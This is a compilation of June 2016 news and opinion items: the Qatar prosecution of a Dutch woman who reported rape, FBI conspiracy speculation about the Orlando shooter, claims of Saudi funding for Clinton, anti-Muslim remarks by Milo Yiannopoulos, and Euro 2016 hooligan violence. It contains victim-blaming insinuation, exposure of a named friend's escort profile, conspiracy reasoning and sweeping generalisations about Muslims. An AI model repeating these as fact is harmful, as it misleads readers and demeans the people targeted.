Was al in maart gebeurd, in de Crystal Lounge van het Doha Hotel. Volgens haar moeder was ze voor het eerst zelfstandig op vakantie. Met een vriendin, Lisa. Voor het eerst alleen ver weg en dan zoiets. Volgens de door haar moeder ingeschakelde advocaat Brian Lokollo werd er alcohol geschonken. Mogelijk was er iets in haar drankje gedaan. Daarna zegt Laura zich alleen flarden te herinneren. Een Arabier die haar bij de arm grijpt, haar meeneemt naar een taxi. Later ziet zij een man, bovenop haar. Diep in de nacht wordt ze dan wakker, op het dak van een appartementengebouw. Haar kleren zijn gescheurd.''
Toen ze op een politiebureau aangifte wilde doen werd ze onmiddellijk beschuldigd. Ze tekende een Arabische verklaring die zij niet kon lezen.
Inderdaad, een nachtmerrie van duizend en (C)(C)n nacht (hopelijk wat korter).
Vragen te over, maar voorlopig nog geen antwoord. Advocaat Lokollo reageert niet, Jolande van der Graaf (Telegraaf) gaat nader onderzoek doen. Wat voor bedrijfje had Laura, zou ik wel willen weten, en waarom ging ze met Lisa op vakantie? Kenden ze elkaar al langer?
Volgens onze Arabische correspondent staat Lisa staat op kinky.nl onder een andere naam. In Den Haag. Leeftijd: 23. Kleur ogen bruin. Cupmaat: F.
Ze presenteert zich als ''een mooie halfbloed schoonheid. Spontaan, gek, jong en strak. '' Ze is bezig met een studie en wil wat bijverdienen.'' De rest van de tekst, wat ze allemaal doet en hoe lekker ze dat vindt, is niet geschikt om hier weer te geven.
Nu kan het zijn dat onze Arabische correspondent zich wat zand in de ogen heeft laten strooien en dat Laura inderdaad volkomen te goeder trouw voor een volkomen onschuldige vakantie naar Qatar is gegaan. Misschien had haar moeder haar moeten waarschuwen dat er in het Midden-Oosten wat andere mores heersen op zedelijk gebied dan bij ons. Ik ben er zelf nooit geweest, maar van wat ik erover hoor schijnt het nogal taboe te zijn seks te hebben als je niet getrouwd bent. Natuurlijk zijn daar allerlei mogelijkheden voor, de verhalen over escortbureau's kent iedereen, maar het is heel erg oppassen.
Als Laura daar inderdaad naar toe is gegaan met iemand als Lisa, heeft ze wel wat uit te leggen.
Voorwaardelijke straf voor Laura de B. in Qatar - Elsevier.nl
Tue, 14 Jun 2016 20:54
Laura de B., de Utrechtse vrouw die werd opgesloten in Qatar voor 'buitenechtelijke seks', is schuldig bevonden. De rechter in Qatar legde haar een voorwaardelijke gevangenisstraf van een jaar op en zij zal het land worden uitgezet.
Dat meldt RTL Nieuws. Daarnaast krijgt ze een boete van 750 euro. De man die Laura beschuldigde van seksueel misbruik, krijgt honderd zweepslagen voor geslachtsgemeenschap en veertig zweepslagen voor alcoholconsumptie.
De vrouw wordt opgevangen door het personeel van de ambassade, aldus het ministerie van Buitenlandse Zaken. Als ze de boete betaald heeft, wordt Laura vrijgelaten. De ambassade bekijkt in overleg met de vrouw hoe snel ze het land uit kan.
VerkrachtDe 22-jarige Nederlandse zit al sinds 14 maart vast in Qatar. Op vrijdag kwam haar advocaat naar buiten met het nieuws dat zij wordt vervolgd voor buitenechtelijke seks, terwijl zij eigenlijk verkracht zou zijn.
'Laura reisde naar Qatar met prostituee'
De verontwaardiging over de zaak van Laura sloeg over in verwarring door al het nieuws en de geruchten die de laatste dagen naar buiten kwamen. De 22-jarige Utrechtse vrouw reisde stiekem mee naar Qatar met Lisa, een vriendin die als prostituee werkte en de reis voor Laura zou hebben betaald.
De vraag was dan ook of Laura zelf in de prostitutie zou hebben gezeten. Daarnaast ontstond er verwarring doordat Laura zelf verschillende verhalen zou hebben verteld aan de politie nadat zij aangifte van verkrachting had gedaan.
Vage herinneringenNaar eigen zeggen begon de jonge vrouw zich zwakjes te voelen tijdens een avond uit in de Crystal Lounge Club, een hippe tent in Qatar. Ze werd wakker met gescheurde kleren op het dak van een appartementencomplex. Laura had enkel vage herinneringen van een man die haar meenam en bovenop haar lag.
Bij de politie in Qatar zou de vrouw ook hebben aangegeven dat het om vrijwillige seks ging. Later hield ze vol dat zij werd verkracht. De 'dader' van het seksuele misbruik, beweerde ook dat beide partijen consent hadden gegeven, en dat hij Laura zou hebben betaald voor de seks.
Orlando shooter: deeper hidden ties to the FBI? Jon Rappoport's Blog
Tue, 14 Jun 2016 20:33
Orlando shooter: deeper hidden ties to the FBI?
by Jon Rappoport
June 13, 2016
(To read about Jon's mega-collection, Power Outside The Matrix, click here.)
'''...Michael German, a former F.B.I. agent who researches national security law at New York University's Brennan Center for Justice, told the Times, 'They're [the FBI] manufacturing terrorism cases.''' (The New Yorker, June 10, 2016, ''Do FBI Stings help fight against ISIS?'' by Evan Osnos)
The website Cryptogon has pieced together some interesting facts, and a quite odd ''coincidence.'' I'm bolstering their work.
First of all, the Orlando shooter, Omar Mateen, changed his name in 2006. As NBC News notes: ''Records also show that he had filed a petition for a name change in 2006 from Omar Mir Seddique to Omar Mir Seddique Mateen.''
Why is that important? Why is his original last name, Seddique, also spelled Siddiqui, significant? Because of a previous terrorism case in Florida, in which the FBI informant's name was Siddiqui. And because that previous case may have been one of those FBI prop-jobs, where the informant was used to falsely accuse a suspect of a terrorist act. The New Yorker (cited above) has details:
''This is not the first time that the F.B.I. has attracted criticism from national-security experts and civil-liberties groups for generating terrorism cases through sting operations and confidential informants. In 'The Imam's Curse,' published in September, I reported on a Florida family that was accused of providing 'material support' to terrorists. In that case, a father, Hafiz Khan, and two of his sons were arrested. The charges against the sons were eventually dropped, but Hafiz Khan was convicted and sentenced to twenty-five years in prison. At Khan's trial, his lawyer, Khurrum Wahid, questioned the reliability of the key [FBI] informant in the case, David Mahmood Siddiqui. Wahid accused Siddiqui, who'd had periods of unemployment, of lying to authorities because his work as a confidential informant was lucrative. For his role in the case, Siddiqui had received a hundred and twenty-six thousand dollars, plus expenses. But in a subsequent interview with the Associated Press, Siddiqui stood by his testimony and motives: 'I did it for the love of my country, not for money.'''
The website Cryptogon, which pieced this whole story together, comments: ''What are the odds that an FBI informant in a [previous] Florida terrorist case shares the same last name as the perpetrator of the worst mass shooting in U.S. history'--also in Florida'--[Omar Mateen] a lone wolf cop poser with multiple acknowledged contacts with the FBI, who was formerly listed on the terrorist watch list and associated with a suicide bomber'... while holding a valid security guard license?''
And in case you think Siddiqui is a common last name, here is a statement from Mooseroots:
''Siddiqui is an uncommon surname in the United States. When the United States Census was taken in 2000, there were about 4,994 individuals with the last name ''Siddiqui,'' ranking it number 6,281 for all surnames. Historically, the name has been most prevalent in the Southwest, though the name is actually most common in Hawaii. Siddiqui is least common in the southeastern states.''
If for some reason the name Siddiqui throws you off, suppose the last name was, let me make something up, Graposco? A few years ago, an FBI informant in Florida, Graposco, appeared to have falsely accused a man of terrorist acts'--and in 2016, another Graposco, who changed that last name to something else, killed 50 people in a Florida nightclub shooting'--after having been investigated twice by the FBI? Might that coincidence grab your attention?
Again'--the 2016 Orlando shooter had extensive contact with the FBI in 2013 and 2014. The FBI investigated him twice and dropped the investigations. The FBI used an informant in a previous Florida case, and that informant had the same last name as the Orlando shooter. It's quite possible the previous informant was told to give a false statement which incriminated a man for terrorist acts.
You can say this is a coincidence. Maybe it is. But it seems more than odd. Are the two Siddiqui men connected?
Was the Orlando shooter involved in some kind of FBI plan to mount a terror op that was supposed to be stopped before it went ahead, but wasn't? Was the Orlando shooter ''helped'' over the edge from having ''radical ideas'' to committing mass murder?
I could cite a number of precedents. Here is one I reported on in 2014:
There seems to be a rule: if a terror attack takes place and the FBI investigates it, things are never what they seem.
Federal attorney Andrew C McCarthy prosecuted the 1993 World Trade Center Bombing case. A review of his book, Willful Blindness, states:
''For the first time, McCarthy intimately reveals the real story behind the FBI's inability to stop the first World Trade Center bombing even though the bureau had an undercover informant in the operation'--the jihadists' supposed bombmaker.
''In the first sentence of his hard-hitting account, the author sums up the lawyerly'--but staggeringly incomprehensive'--reason why the FBI pulled its informant out of the terrorist group even as plans were coming to a head on a major attack:
'''Think of the liability!'
''The first rule for government attorneys in counterintelligence in the 1990s was, McCarthy tells us, 'Avoid accountable failure.' Thus, when the situation demanded action, the feds copped a CYA posture, the first refuge of the bureaucrat.''
That's a titanic accusation, coming from a former federal prosecutor.
Yes, the FBI had an informant inside the group that was planning the 1993 WTC bombing that eventually, on February 26, killed 6 people and injured 1042.
His name is Emad Salem, a former Egyptian Army officer. Present whereabouts unknown. Yanking Salem out of the group planning the Bombing was a devastating criminal act on the part of the FBI.
But there is more to the story.
On October 28, 1993, Ralph Blumenthal wrote a piece about Emad Salem for the New York Times: ''Tapes Depict Proposal to Thwart Bomb Used in Trade Center Blast.'' It began:
''Law-enforcement officials were told that terrorists were building a bomb that was eventually used to blow up the World Trade Center, and they planned to thwart the plotters by secretly substituting harmless powder for the explosives, an informer [Emad Salem] said after the blast.''
Continuing: ''The informer was to have helped the plotters build the bomb and supply the fake powder, but the plan was called off by an F.B.I. supervisor who had other ideas about how the informer, Emad A. Salem, should be used, the informer [Emad] said.''
The FBI called the ''plan'' off, but left the planners to their own devices. No ''harmless powder.'' Instead, real explosives.
The Times article goes on: ''The account, which is given in the transcript of hundreds of hours of tape recordings Mr. Salem secretly made of his talks with law-enforcement agents, portrays the authorities as in a far better position than previously known to foil the Feb. 26 bombing of New York City's tallest towers.''
This is a shockingly strong opening for an article in the NY Times. It focuses on the testimony of the informant; it seems to take his side.
Several years after reporter Blumenthal wrote the above piece, I spoke with him and expressed my amazement at the revelations about the FBI'--and wondered whether the Times had continued to investigate the scandal.
Blumenthal wasn't pleased, to say the least. He said I misunderstood the article.
I mentioned the fact that Emad Salem wasn't called as a prosecution witness in the 1993 WTC Bombing trial.
Of course, why would the Dept. of Justice bring Salem to the stand? Would they want him to blame the FBI for abetting the Bombing?
Again, Blumenthal told me I ''didn't understand.'' He became angry and that was the end of the conversation.
I remember thinking: letting the bomb plot go forward'...what else do you need for a criminal prosecution of the FBI?
Here is an excerpt from one of those tapes Emad Salem made when he was secretly bugging his own FBI handlers. On this phone call, he talks to his Bureau friend John. Others have claimed this is an agent named John Anticev. The conversation is taking place at some point after the 1993 WTC Bombing. The main topic is Salem's fees for services rendered as an informant. He apparently wants more money. He also wants to make sure the Bureau will pay him what they've agreed to. During the conversation, Salem suddenly talks about the bomb. His English is broken, but his meaning is clear enough. When he finishes, his Bureau handler John just moves on without directly responding.
Salem: '''...we was start already building the bomb which is went off in the World Trade Center. It was built by supervising supervision from the Bureau and the DA and we was all informed about it and we know that the bomb start to be built. By who? By your confidential informant. What a wonderful great case!''
According to Salem, there was a bomb, it was built under FBI and ''DA'' supervision, Salem himself built it, and it exploded.
Questions remain. Did Salem literally mean he built the bomb? Or was he claiming he successfully convinced others to build it? As a provocative agent for the FBI, did Salem foment the whole idea of the WTC attack and entrap those who were eventually convicted of the Bombing? Without his presence, would they have planned and carried out the assault? Was the truck bomb set off under the North Tower the only weapon? Were there other bombs? If so, who planted them?
But the role of the FBI seems to be clear enough. They aided and abetted, and at the very least, permitted the 1993 attack on the Trade Towers.
What about Omar Mateen in 2016, in Orlando?
As the LA Times, reports, the FBI investigated him on two occasions (LA Times, June 13, ''Orlando terror attack live updates'...''):
''While working as a courthouse guard in 2013, Mateen made 'inflammatory and contradictory' statements to co-workers about having relatives in Al Qaeda, the radical Sunni terrorist group, [FBI Director] Comey said. Mateen also claimed to be a member of Hezbollah, Lebanon's Shiite militia, and his remarks drew an 11-month FBI investigation, Comey said. Both groups oppose Islamic State.
''Comey said the FBI also briefly investigated Mateen in 2014 for allegedly watching videos by Al Qaeda propagandist Anwar Awlaki and attending the same mosque as an American who would later become a suicide bomber for Al Nusra Front in Syria '-- another Al Qaeda affiliate opposed to Islamic State.
''Both investigations were closed without charges.''
Did the FBI just investigate the Orlando shooter? Or did they in some way enlist him in an operation?
Is it merely a terrible mistake that enabled the shooter to work nine years for G4S, the world's ''biggest guarding company'' and one of the biggest contractors to the DHS, as Bloomberg News states? Is it merely a terrible mistake that G4S was aware the FBI was investigating the shooter in 2013 and did nothing about it?
Or did some federal group intervene and tell all parties to leave the shooter alone and in place'--because he was part of an operation?
Jon Rappoport
The author of three explosive collections, THE MATRIX REVEALED, EXIT FROM THE MATRIX, and POWER OUTSIDE THE MATRIX, Jon was a candidate for a US Congressional seat in the 29th District of California. He maintains a consulting practice for private clients, the purpose of which is the expansion of personal creative power. Nominated for a Pulitzer Prize, he has worked as an investigative reporter for 30 years, writing articles on politics, medicine, and health for CBS Healthwatch, LA Weekly, Spin Magazine, Stern, and other newspapers and magazines in the US and Europe. Jon has delivered lectures and seminars on global politics, health, logic, and creative power to audiences around the world. You can sign up for his free NoMoreFakeNews emails here or his free OutsideTheRealityMachine emails here.
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Elon Musk Suggests Possible Conspiracy Behind Tesla Model S Suspension Claims - The Drive
Tue, 14 Jun 2016 20:24
Interestingly enough, electrek noted that most of the falsified reports of Tesla suspension failures were filed by one man, an Australian who goes by the names Keef Leech, a.k.a. "Keef Wivaneff." Leech, whose YouTube page describes him as a man who "blows the whistle on GREEN SCAMS," has been on a quxiotic campaign to bring down Tesla, crusading against the carmaker in various online forums and assembling a gallery of images of crashed Model Ss which he uses to make apparently unfounded claims that the cars are unsafe.
In at least one of the filings, Leech admitted he falsified his address in order to post the complaint with the American safety agency, claiming that enough reports could force the NHTSA to investigate. However, as electrek pointed out, the agency only began investigating the Model S's suspension after the latest, substantiated report.
As to why he's so interested? Well, of course, it is possible Leech has a financial interest in seeing Tesla flop. But given his verbose online campaigns against corporate green power and claims that SpaceX faked at least one of its rocket landings, he may just be a good ol' fashioned kook.
VIDEO-AUDIO-Milo Yiannopoulos: Muslim Culture Is Violent CBS Philly
Tue, 14 Jun 2016 20:08
PHILADELPHIA (CBS) '' In the wake of the tragic shooting at a club in Orlando this weekend, Milo Yiannopoulos says Islam, not just extremists groups and terrorists, but the entire religion is responsible for violence against gay people and women.
Yiannopoulos, a writer for Breitbart, told Rich Zeoli on Talk Radio 1210 WPHT that he believes all of Islam propagates this type of hate and brutality.
READ: ACME Cashier Fights Back After Suspension For Wearing Patriotic Attire To Work
''I'm not talking about Islamists. I'm not talking about terrorists. I'm not talking about radical Islam. I'm talking about mainstream Muslim culture. There are eleven Muslim countries in which I could be killed for being a homosexual. The state penalty is death. One hundred million people live in country where the penalty for homosexuality is death. This is not radical Islam. This is mainstream Muslim society. Look what's happening in Sweden. Look what's happening anywhere in Germany, anywhere there are large influxes of a Muslim population. Things don't end well for women and gays. The left has got to make a decision. Either they want female emancipation and it wants gay rights or it wants Islam. It's got to pick.''
He also claims the dangers that emanate of Muslim countries are quickly spreading around the globe.
''Women are treated abominably everywhere in the Muslim world. Gays are treated even worse. It shouldn't be a surprise to us that when we invite these people into western, democratic, capitalist, free societies that bad things start to happen. America is the greatest country in the world. It is a country founded on freedom, freedom of movement, free enterprise, property rights, the rule of law, the First and the Second Amendment. Those principles have created the greatest country in the world. Those things are under threat from an alien culture that respects none of those principles.''
Yiannopoulos blames the political left in America and Europe to too openly accepting Muslims into their countries and Islamic culture into their societies.
READ: Man Surprises Wife With 'Grease' Flashmob
''The left has got to make a decision. Do they want to be regressive? As some commentators are now calling it, and pander to Muslims and suck up to Islam at the expense of women and blacks and gays. Remember, the shooter in Orlando was working at G4S and said he wanted to kill all black people. He didn't get fired. Why? Because he's Muslim. One was scared. Do they want a world in which Muslims get to do and say whatever they want and these tragedies become common place? Because I don't want to see America go that way. Or do we make a stand?''
Weekdays: 3 p.m. - 6 p.m. Rich Zeoli represents a new generation of compelling talk radio, with Dawn Stensland, Greg Stocker and Taisje Claiborne, this is the next generation of talk. He grew up in New Jersey and spent his career advising candidates...
LifeBeam artificial intelligence headphones put a biosensing fitness coach in your ear - CNET
Tue, 14 Jun 2016 20:03
Most wearable fitness trackers give you the option to choose your own headphones to listen to while you exercise, but the new Vi headphones from LifeBeam actually bundles a pair of proprietary "biosensing" headphones along with an artificial intelligence app to put a personal fitness coach right in your ear.
Vi is outfitted with eleven internal input sensors that keep track of variables like heart rate, location, weather, elevation, cadence, and more to develop a personal exercise regiment that fits your experience. The app adapts over time and once it gets to know you, it'll offer training plan recommendations and even real-time coaching via a lexicon of vocal cues while you work out.
Vi: The first true artificial intelligence personal trainer, by LifeBeam
LifeBeamSo for example, say you fire up Vi right before you head out on your daily run. She'll start by analyzing the weather outside and adjust the route accordingly, asking if you'd prefer to train indoors today. If you tell her you'd like to go out anyway, Vi will do things like challenge you to beat your previous time on a specific route, read details like your heart rate and distance traveled aloud while you're running, and even motivate you with positive messages throughout your session. Vi's speech logic AI is all stored on the device, so she'll stay with you even if your route takes you beyond your network.
LifeBeam designed the wireless Vi headphones to be worn all day long, even when you're not exercising, and the company partnered with Harman Kardon to develop the internal sound profile. There's a microphone built into the unit so you can answer phone calls on the run, or you can just listen to music when you pair it via Bluetooth.
The LifeBeam Vi has already reached beyond its $100,000 goal on Kickstarter, but you can still preorder a pair scheduled for delivery this December for $199 (about £140 or $270 AU), which is still $50 off the retail price.
As always, please note that CNET's reporting on crowdfunding campaigns is not an endorsement of the project or its creators. Contributing to a crowdfunded project comes with risk. Before contributing to any campaign, read the crowdfunding site's policies, such as those for Kickstarter and Indiegogo, to learn more about your rights (and refund policies, or the lack thereof) before and after a campaign ends.
The tech inside Vi
Now The Podesta Group Gets Involved: Claims Story Of Saudi Funding For Hillary Was A "Hack" | Zero Hedge
Tue, 14 Jun 2016 20:02
In what may have been the most surprising news yesterday, we cited a report by Middle East Eye, which caught a release posted on the official Jordan News Agency (Petra), which was subsequently promptly taken down, according to which Saudi Deputy Crown Prince Mohammed bin Salman made various traditionally diplomatic statements about the US ahead of his visit to the US, which also included the stunning claim that Riyadh has provided 20% of the total funding to the prospective Democratic candidate's campaign, something which is considered illegal.
This is what bin Salman was quoted as saying:
"Saudi Arabia always has sponsored both Republican and Democratic Party of America and in America current election also provide with full enthusiasm 20 percent of the cost of Hillary Clinton's election even though some events in the country don't have a positive look to support the king of a woman (sic) for presidency."
Below is a screenshot of the English report published, and then quickly deleted, by the Petra News Agency:
Many questions emerged: was this true; why did the Saudi prince say this; but most notably, why was it taken down so fast?
In a bizarre explanation, MEE reports today that the official Jordan news agency said on Tuesday that it was hacked when, over the weekend, when the story briefly appeared on its website.
As we reported yesterday, while this stunning report was hosted by Petra for a few hours, the report did not remain on the website for long. In the meantime, the Washington-based Institute for Gulf Affairs later re-published an Arabic version of it, which quoted Prince Mohammed as having said Saudi Arabia had provided with ''full enthusiasm'' an undisclosed amount of money to Clinton.
The story quickly made the rounds, and prompted Donald Trump to post the following note on his Facebook page: "Crooked Hillary says we must call on Saudi Arabia and other countries to stop funding hate. I am calling on her to immediately return the $25 million plus she got from them for the Clinton Foundation!"
At this point the big guns had no choice but to get involved
According to an update by MEE today, on Monday a spokesperson for American public relations firm the Podesta Group contacted MEE to say that they work with the Saudi Royal Court and to request a correction to the earlier story that said the Jordanian news agency had deleted the quotes from Prince Mohammed.
Senior global communications specialist Will Bohlen - who, prior to joining Podesta, was chief researcher for a best-selling history of Bill Clinton's presidency - sent a link to a clarification issued by the Petra News Agency which said it was "totally false and untrue" that they had published then deleted the quotes from Prince Mohammed about funding the Clinton campaign.
"A technical failure on Petra 's website occurred for a few minutes on Sunday evening, 12 June 2016," the Jordanian news agency said. "Protection systems at the agency as well as the technical department noticed that and therefore, they suspended the transmission system and the electronic site and moved to the alternative website.
"Later, it became clear that the technical failure that occurred was an attempt to hack the agency's transmission system and its website. The agency was surprised to see some media outlets as well as the social media publishing false news that were attributed to Petra. They said that Petra transmitted a news item related to the deputy crown prince of Saudi Arabia and later deleted this news item. This is totally false and untrue."
Will Bohlen, Podesta Group
On can see why Podesta would be worried: it is illegal in the United States for foreign countries to try and influence the outcome of elections by funding candidates. Naturally, Bohlen said he could confirm that Saudi Arabia has provided no funding to Hillary Clinton's presidential campaign. The question is now that the cat is out of the bag, can others?
For the record, we find the story that someone would hack the Jordanian News Agency to insert a boring interview with a Saudi crown prince, hard to believe and if anything, the involvement of the Podesta Group dramatically increases the odds that what the Saudi prince revealed may have been the unvarnished truth.
To be sure, the links between Saudi Arabia and the Clinton family arewell reported. As are the link between the Podesta Group and SaudiArabia, not to mention those between Clinton and the Podesta brothers, one of whom is the chair of Hillary's campaign to get elected president.
Incidentally, for the Podesta Group to get involved, things must have been serious.
Recall that less than two weeks ago we learned that as the Hillary email scandal was peaking, over the Memorial Day weekend, John Podesta, the chairman of Clinton's campaign, sent an email to her most important donors. In it, he recognizes the need to arm the donors with talking points to address Clinton's rapidly deteriorating support with Democratic primary voters. As Reason reported, the Podesta email suggested attempting to minimize Clinton's use of her private server by comparing it to Powell's occasional use of his personal email account. "This is a risky and faulty comparison. None of Powell's emails from his private account '-- only two or three dozen '-- contained matters that were confidential, secret or top-secret."
Also recall that John Podesta is the brother of Tony Podesta, a Clinton fundraiser and founder of the eponymous Podesta Group. The same Podesta Group which as The Intercept reported last year was getting paid big money to become a lobbyist for, wait for it, Saudi Arabia.
In September alone, foreign lobbying disclosure documents show the Saudi government signing deals with PR powerhouse Edelman and lobbying leviathan the Podesta Group, according to recent disclosures.
Edelman, the largest privately owned public relations agency in the world, is known for helping clients win favorable media coverage on mainstream outlets. The Podesta Group is a lobbying firm founded by Tony Podesta, a major fundraiser for the Hillary Clinton presidential campaign.
The new signings are the latest in a year-long hiring spree by the Persian Gulf state as it further builds up its already formidable political arsenal inside the Beltway. The Saudi Arabian Royal Embassy did not respond to a request for comment.
* * *
The Podesta Group contract is with the Center for Studies and Media Affairs at the Saudi Royal Court. The contract, filed in the Justice Department's foreign lobbying database, says that the firm will provide ''public relations'' work for the center.
''It is our company policy not to comment further on our work for clients beyond what is required by law and to direct reporters and other interested parties to our clients for any additional information,'' said Missi Tessier, a spokesperson for the Podesta Group, when reached for more information about the relationship.
It is, however, the company's policy to comment any time the credibility, and potentially incarceration status, of any of its clients is threatened.
Some history: the Podesta Group was founded in 1988 by brothers John and Tony Podesta. John Podesta is the chair of Hillary Clinton's campaign to become the next US president. Saudi Arabia has donated millions to the Clinton family charity. In 2008, it was revealed that the Gulf kingdom had donated between $10m and $25m to the Clinton Foundation, a charity set up by Hillary's husband and former US President Bill Clinton.
Hillary Clinton speaks with former Saudi Foreign Minister Saoud Al-Faysal
Hillary Clinton's campaign did not respond to MEE's request for comment.
The alleged hacking of the Petra News Agency website took place on the eve of Prince Mohammed making an official visit to the United States. The Saudi Press Agency reported on Monday that the senior royal was due to fly to Washington where he will meet officials to discuss US-Saudi ties. He will remain in the American capital until 16 June, when he will travel to New York for meetings with financial companies, the Saudi Gazette reported.
Prince Mohammed is to discuss regional issues with American officials, and he will hold talks with the financial companies about his vision for diversifying Saudi Arabia's economy away from oil dependency.
We leave it up to readers to decide how credible the Podesta-inspired explanation by Petra is that someone would hack the Joradnian news agency just to insert an interview with the Saudi deputy crown prince, which said nothing inflamatory, or defamatory, but merely made reference to just how much money the Saudis had spent on getting Hillary elected.
In many other nations, merely these revelations should have been sufficient for the mainstream media to probe and inquire further to find out just how much of the Podesta statement is a lie, how deep are the inherent, and allegedly illegal, conflicts of interest if indeed Saudi Arabia has been funding a potential future US president, both directly and indrectly, and how much money the Saudis have spent on Hillary's presidential campaign: an easy check by the authorities who monitor every wire transfer out of the Kingdom and its agents.
In modern-day America, however, this will never happen.
* * *
Below we present the disclosure document revealing the retention of the Podesta Group by the Center for Studies and Media Affairs at the Saudi Royal Court.
Russian Ultras attack England and Wales fans in Lille amid Euro 2016 | Daily Mail Online
Tue, 14 Jun 2016 19:49
Russian 'ultras' have attacked English and Welsh fans in Lille this afternoon after 'hyper violent' thugs ignored UEFA's threat to ban their country from Euro 2016.
Chairs were thrown and a supporter was pictured lying on the ground outside a bar in the northern French city on the same day that Russia was fined and threatened with being thrown out of the tournament.
Concerns had already been raised about the security of fans as England prepare to take on Wales in Lens on Thursday and Russia play Slovakia in Lille on Wednesday, with the cities just 23 miles apart.
Witnesses said a group of Russians provoked English fans who were in a bar near Lille's central train station this afternoon before chairs were launched through the air. Two Russians have been arrested in the city centre.
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Russian 'ultras' have attacked English and Welsh fans in Lille this afternoon after 'hyper violent' thugs ignored UEFA's threat to ban their country from Euro 2016
Provocation: A Russian fan was pictured launching a chair towards a group of supporters at a bar in Lille
One masked Russian fan wore a t-shirt with the words 'Tour de France' and 'f**k Euro 2016 on the front - complete with a map of the host nation
The English are said to have responded, but the situation was calming down when police arrived.
In video footage posted on Twitter, chants of 'We're England and Wales, f**k off Russia, we're England and Wales' could be heard as police moved in to separate fans.
One masked Russian fan wore a t-shirt with the words 'Tour de France' and 'f**k Euro 2016 on the front - complete with a map of the host nation.
Footage also shows a man in a suit shouting 'allez', French for 'go', to hooded and masked fans posturing towards the England and Wales supporters outside Le Palais de la Biere bar next to the city's Hotel Continental.
He attempts to set chairs and tables right again before police officers move in between the two groups of fans.
Members of the public could also be seen gathering and taking photos of the melee.
The Russian Football Union had earlier been handed sanctions after crowd disturbances, use of fireworks and fan racism inside Marseille's Stade Velodrome in Saturday's 1-1 draw with England.
But the country's Sports Minister Vitaly Mutko described the punishment as 'excessive' while the team's striker Artem Dzyuba downplayed the role of the Russians saying England fans are 'no angels'.
A man was pictured lying on the ground outside a bar in the northern French city on the same day that Russia was fined and threatened with being thrown out of the tournament
Witnesses said a group of Russians appeared to provoke English fans who were in a bar near Lille's central train station before chairs were launched through the air
It comes as armed French police circled a coach of 50 Russian supporters making their way to Lille today and said it will deport them - only for their thuggish fans to boast they had targeted the wrong group.
UEFA said Russia's 'disqualification is suspended until the end of the tournament. Such suspension will be lifted if incidents of a similar nature (crowd disturbances) happen inside the stadium at any of the remaining matches of the Russian team during the tournament.'
Dzyuba said: 'I don't understand the reaction of British media like the British supporters are like angels.
'We can see the things the British media are talking about, saying they have to take the World Cup from Russia.
'Fans are more or less the same everywhere. The majority come to watch football and some go to matches to cause trouble. I don't think only the Russian fans were to blame for the violence.'
A Russian fan could be seen hurling a chair towards a group of England fans drinking at Le Palais de la Biere bar
Violent scenes unfolded as the Russians moved in and attacked the English fans outside the bar
A group of Russian fans could be seen provoking England supporters in the centre of Lille this afternoon
Pictures showed two sets of fans facing off outside a bar, with chairs strewn across the pavement on the Place de la Gare, in central Lille
A police officer passes as English and Welsh fans chant and drink outside a pub in central Lille today
A group of Russian 'Orel Butchers' supporters approached England and Wales supporters this afternoon
His comments came after French riot police stopped a bus in Cannes carrying Russian supporters - including Alexander Shprygin, notorious far-right head of the Russian supporters union - who were travelling to Lille for Russia's next match atEuro 2016.
But the gloating Russian Ultras claimed they had swooped on the wrong coach and vowed to 'smash' Lille and Toulouse, where they play Wales on June 20.
A posting by Vadim Fedorovsky read: 'They deported those who did not participate. And those who took part will smash Lille and Toulouse. Happy watching'.
Another said: 'Let them deport these peaceful supporters led by Shprygin. The important thing is the main mob come to the place in the optimal numbers.'
Gleb Kovalenko posted: 'It's funny of course. Not one of these guys in the bus took part part in the fun in Marseille, those who did are either already in Lille or will be there tomorrow morning.
'They are not fools to get on a bus as a crowd. They are moving in groups of three to five people on trains and in rented cars.'
His comments emerged as it was claimed the Russian hooligans held 'trials' to find their 'best' fighters.
A Russian fan wearing a black t-shirt with the words 'Orel Butchers' on the back was seen approaching England and Welsh supporters
French police were called in amid violent scenes outside a bar with tear gas apparently used to disperse crowds
A group of Russians appeared to provoke English fans who were in a bar near the northern city's central train station, witnesses said
Video showing brawling in secluded woods was said to be an 'audition' for thugs to take part in the Marseilles carnage.
The bus carrying Russian fans was stopped this morning after raids on addresses in Marseille and Cannes, it is claimed.
Six were placed in a holding centre ahead of being deported while another 35 were refusing to get out of their bus, French authorities said.
Far right leader Shprygin later tweeted saying he had left the bus and was in a police building.
He had been identified by Fare Network, the organisation that monitors racism in stadiums, as a leading figure in introducing neo-Nazi views and practices to the Russian football scene since the late 1990s.
A Russian fan with a 'Russians No Surrender' T-shirt is led off the bus that was surrounded by French police
Russian fans are ushered off the bus that was stopped by gendarmes in Mandelieu near Cannes
The bus was carrying fans from the official Russian supporter's group, including women
Speaking earlier today, he said: 'They want to deport almost 50 people including women who did not take part in anything.
'The police are making up for their mistakes three days ago. We are in a bus in Cannes and we have been blocked in by riot police with machine guns and it was pushed towards some closed area. We are not going anywhere for the time being and are waiting for the consul.'
Later on, he said: 'Police are now dragging us out of the bus, they've announced deportation. No reasons are being given. There are 50 people in the bus.
'This is some kind of show, none of us were detained in Marseille riots, but for some reason they're targeting the official fans union delegation. It's a circus.
'Leaders of fan groups are on the bus. All to be deported.
'Police are getting dressed in their equipment and preparing electric shockers.
The bus was surrounded by French riot police and stopped in Cannes as they were on their way to Lille
French riot police have circled a bus carrying 50 Russian fans heading to Lille for Wednesday's game
'It is nonsense. They won't give us water and won't allow to switch on air conditioning. It is so hot and two people are unwell. They don't let us go to toilet. The situation is tense.
'We are waiting for representatives of the Russian Consulate.'
On Sunday night Shprygin claimed in a tweet that the Russian supporters union's hotel had been raided and that 40 armed French police had stormed their rooms, taken their passport details and photographed everyone.
Shprygin has been travelling with the official Russian FA delegation at Euro 2016 but is considered by the Fare network to be a main player in Russia's network of extreme-right ultra fan groups, the Guardian reported.
Since developing the Russian Supporters Union in 2007, Shprygin had appeared to tone down his rhetoric.
Police stopped a bus carrying Russian fans who they believe were involved in the attacks on English fans
But he provoked outrage recently when he said he wanted to 'see only Slavic faces within the Russian national team' and how there was 'something wrong' with a team photo published by French player Mathieu Valbuena as it contained 'very many' black faces.
He has also been photographed giving a Nazi salute with a singer from Russian far-right rock band, Korrozia Metalla.
The beginning of the tournament has been marred by violence with English and Russian supporters clashing for three days in Marseille as hooliganism reared its ugly head.
There were clashes before the match as several hundred English and Russian fans squared off in the Old Port district, hurling beer bottles and chairs and drawing volleys of tear gas from riot police.
Then, inside the Stade V(C)lodrome Balaclava-clad Russian thugs - wearing gum shields and brandishing truncheons charged at the English fans at the final whistle - as well as firing a flare gun into a section of English supporters.
